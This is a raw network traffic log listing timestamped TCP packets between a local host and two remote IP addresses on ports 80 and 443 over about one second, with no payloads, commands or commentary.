Jun 29, 2024 08:05:11.450699091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.450752974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.450795889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.450824022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.450858116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.450891972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.450913906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.451035023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.451421976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.451473951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.451513052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.453443050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.617427111 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:11.617820024 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:11.621359110 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:11.621367931 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:11.621721983 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:11.666589022 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:11.738214970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738241911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738276005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738296032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738305092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738311052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738368034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738523960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738538027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738555908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738560915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738590002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738619089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738635063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738651037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.738656044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738696098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738696098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.738915920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.739398003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739443064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739460945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739475965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.739485025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739515066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.739525080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739537954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.739561081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.739861012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.740273952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740308046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740323067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740362883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740377903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740395069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.740395069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.740396976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.740466118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.740466118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.741030931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741055012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741071939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741163015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.741163015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.741185904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741202116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741216898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741292000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.741292000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.741954088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741966963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.741982937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742055893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742055893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742101908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742116928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742130995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742165089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742410898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742805958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742830992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742846966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742896080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742927074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742927074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.742959976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742971897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.742994070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.743642092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743678093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.743685961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743701935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743777990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.743777990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.743782043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743798018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743813038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.743985891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.744738102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744752884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744777918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744791985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744807959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.744811058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744827986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.744843960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.744883060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.744915962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.745332956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745363951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745378971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745407104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.745424032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745440006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745452881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.745454073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.745490074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.745614052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.746241093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.746275902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.746292114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.746360064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.746370077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.746370077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.746376038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.746434927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.746434927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.746977091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.747039080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.747373104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.033914089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.033946991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.033962011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034028053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034032106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.034032106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.034043074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034132957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.034132957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.034791946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034849882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034864902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.034935951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.038892031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.038907051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.038923025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.038933992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.038980007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039124966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039247990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039263010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039280891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039299965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039313078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039314985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039330959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039351940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039535046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039549112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039565086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039572001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039597034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039612055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039628029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039633989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039644003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039685965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039685965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039688110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039710999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039727926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039730072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039743900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039751053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039764881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039791107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039798021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039813042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039829016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039833069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039833069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039843082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039855003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039859056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.039874077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039892912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.039990902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040004969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040019989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040024996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040054083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040154934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040169954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040184975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040190935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040199995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040209055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040215969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040245056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040332079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040334940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040570974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040585041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040785074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040807962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040822029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040911913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040926933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040941954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040946007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.040957928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.040980101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.041028976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.041028976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.041698933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041776896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041790962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041805029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.041807890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041824102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041852951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.041857958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.041857958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.042016983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.042503119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.042567015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.042680025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.336637020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336658955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336675882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336698055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336719990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336720943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.336735010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336791039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.336824894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.336946011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.336997032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337012053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337053061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.337059975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337075949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337080002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.337121964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.337148905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.337863922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337915897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337930918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.337977886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.337990046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338006973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338049889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.338646889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338682890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338700056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338710070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.338721991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338759899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.338763952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338778019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.338783979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.338814020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.338845015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.339534044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339567900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339581966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339596987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339622974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.339622974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.339641094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339657068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.339665890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.339708090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.339740992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.340291977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340338945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340357065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.340387106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340439081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340451956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.340455055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340470076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.340534925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.340534925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.341211081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341264963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341270924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.341280937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341301918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341312885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341314077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.341332912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.341370106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341379881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.341383934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.341437101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.342119932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342164040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342178106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342187881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.342220068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.342231035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342246056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342258930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342279911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.342324972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.342848063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342931986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342947006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342961073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342984915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.342995882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343019009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343025923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343040943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343050957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343075991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343105078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343805075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343866110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343879938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343897104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343914032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343928099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.343969107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343969107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.343990088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344021082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.344054937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.344578028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344611883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344625950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344645023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344665051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344674110 CEST	49731	80	192.168.2.4	81.28.12.12
